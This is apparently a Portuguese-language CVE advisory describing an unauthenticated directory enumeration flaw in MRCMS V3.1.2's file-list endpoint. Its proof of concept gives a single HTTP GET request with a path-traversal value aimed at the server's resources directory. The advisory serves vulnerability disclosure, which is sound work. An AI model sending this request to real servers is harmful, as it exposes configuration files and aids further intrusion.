CVE-2026-29909: MRCMS V3.1.2 - Enumeração de Diretórios Não Autenticada

ID CVE

CVE-2026-29909

Descrição

O MRCMS V3.1.2 contém uma vulnerabilidade de enumeração de diretórios não autenticada no módulo de gerenciamento de arquivos. O endpoint /admin/file/list.do não possui controles de autenticação e validação de entrada adequada, permitindo que atacantes remotos enumerem o conteúdo de diretórios no servidor sem qualquer credencial.

Prova de Conceito (PoC)

GET /admin/file/list.do?path=../../../src/main/resources/ HTTP/1.1
Host: target-server

Impacto

• Acesso não autorizado à estrutura de diretórios do servidor
• Exposição de arquivos de configuração sensíveis
• Divulgação de informações que pode levar a ataques adicionais

Crédito

Descobridor: zyh